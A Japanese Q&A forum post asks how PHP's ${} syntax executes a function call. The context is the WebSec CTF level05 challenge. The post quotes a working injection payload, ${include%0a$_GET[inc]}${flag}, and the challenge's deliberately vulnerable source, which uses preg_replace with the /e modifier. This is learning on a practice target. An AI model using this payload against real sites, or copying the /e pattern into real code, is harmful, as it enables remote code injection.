質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

新規登録して質問してみよう
ただいま回答率
87.20%
PHP

PHPは、Webサイト構築に特化して開発されたプログラミング言語です。大きな特徴のひとつは、HTMLに直接プログラムを埋め込むことができるという点です。PHPを用いることで、HTMLを動的コンテンツとして出力できます。HTMLがそのままブラウザに表示されるのに対し、PHPプログラムはサーバ側で実行された結果がブラウザに表示されるため、PHPスクリプトは「サーバサイドスクリプト」と呼ばれています。

解決済

PHPでの関数の呼び出しで、${}構文とやらがあるらしく…。

61xxx
61xxx

総合スコア1

PHP

PHPは、Webサイト構築に特化して開発されたプログラミング言語です。大きな特徴のひとつは、HTMLに直接プログラムを埋め込むことができるという点です。PHPを用いることで、HTMLを動的コンテンツとして出力できます。HTMLがそのままブラウザに表示されるのに対し、PHPプログラムはサーバ側で実行された結果がブラウザに表示されるため、PHPスクリプトは「サーバサイドスクリプト」と呼ばれています。

1回答

0評価

1クリップ

234閲覧

投稿2022/01/10 19:35

1. 背景

WebSec という常設CTFの level05 について考えていた際に生まれた疑問です。(問題ページ : https://websec.fr/level05/index.php)
問題のWebページに関しては、入力フォームに文字列を入力するとスペルチェッカーが変換してくれるというものです。


2. 質問

Writeup を参考にしてリクエストパラメータ ?q=${include%0a$_GET[inc]}${flag}&inc=flag.php でフラグを獲得することができました。

一方で、「${include%0a$_GET[inc]}」の箇所がどういった動きをするのか分からない状況です。

そこで、「${}」内に関数を入れた場合にどのような動きをするのか教えて頂けると幸いです。


3. 問題のポイント

  1. textareaタグname属性q を指定している。
  2. q の処理については以下のような形。

source.php

$q = substr ($_REQUEST['q'], 0, 256);

source.php

$corrected = preg_replace ("/([^$blacklist]{2,})/ie", 'correct ("\1")', $q);
  1. $blacklist${} が含まれていない。
  2. 外部ファイル flag.php を読み込み、そこで定義されている $flag を呼び出せそう。

4. ソースコード

source.php

<!DOCTYPE html> <html> <head> <title>#WebSec Level Five</title> <link rel="stylesheet" href="../static/bootstrap.min.css" /> <!-- Thanks to blotus for its help. --> </head> <body> <div id="main"> <div class="container"> <div class="row"> <h1>LevelFive <small> - Spelling is important.</small></h1> </div> <div class="row"> <p class="lead"> Since it sims that no one now how to spell proper anglish anymore those days, we ofer you <a href="source.php">this spellshaker</a>, written in pure php. Be nice and do not brek it please. <!-- If I had to guess, I would say that the $flag is defined in flag.php --> </p> </div> </div> <div class="container"> <div class="row"> <form name="wordchecker" method="post"> <div class="form-group"> <label for="word">Text to check</label> <textarea class="form-control" id="word" name="q" placeholder="Your text" rows="8" required></textarea> </div> <button type="submit" class="btn btn-default" name="submit">Spellcheck</button> </form> </div> <?php ini_set('display_errors', 'on'); ini_set('error_reporting', E_ALL ^ E_DEPRECATED); if (isset ($_REQUEST['q']) and is_string ($_REQUEST['q'])): require 'spell.php'; # implement the "correct($word)" function $q = substr ($_REQUEST['q'], 0, 256); # Our spellchecker is a bit slow, do not DoS it please. $blacklist = implode (["'", '"', '(', ')', ' ', '`']); $corrected = preg_replace ("/([^$blacklist]{2,})/ie", 'correct ("\1")', $q); ?> <br><hr><br> <div class="row"> <div class="panel panel-default"> <div class="panel-heading">Corrected text</div> <div class="panel-body"> <blockquote> <?php echo $corrected; ?> </blockquote> </div> </div> </div> <?php endif ?> </div> </div> <script type="text/javascript" src="../static/bootstrap.min.js"></script> </body> </html>

良い質問の評価を上げる

以下のような質問は評価を上げましょう

  • 質問内容が明確
  • 自分も答えを知りたい
  • 質問者以外のユーザにも役立つ

評価が高い質問は、TOPページの「注目」タブのフィードに表示されやすくなります。

気になる質問をクリップする

クリップした質問は、後からいつでもマイページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

teratailでは下記のような質問を「具体的に困っていることがない質問」、「サイトポリシーに違反する質問」と定義し、推奨していません。

  • プログラミングに関係のない質問
  • やってほしいことだけを記載した丸投げの質問
  • 問題・課題が含まれていない質問
  • 意図的に内容が抹消された質問
  • 過去に投稿した質問と同じ内容の質問
  • 広告と受け取られるような投稿

評価を下げると、トップページの「アクティブ」「注目」タブのフィードに表示されにくくなります。

まだ回答がついていません

会員登録して回答してみよう

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
87.20%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問

同じタグがついた質問を見る

PHP

PHPは、Webサイト構築に特化して開発されたプログラミング言語です。大きな特徴のひとつは、HTMLに直接プログラムを埋め込むことができるという点です。PHPを用いることで、HTMLを動的コンテンツとして出力できます。HTMLがそのままブラウザに表示されるのに対し、PHPプログラムはサーバ側で実行された結果がブラウザに表示されるため、PHPスクリプトは「サーバサイドスクリプト」と呼ばれています。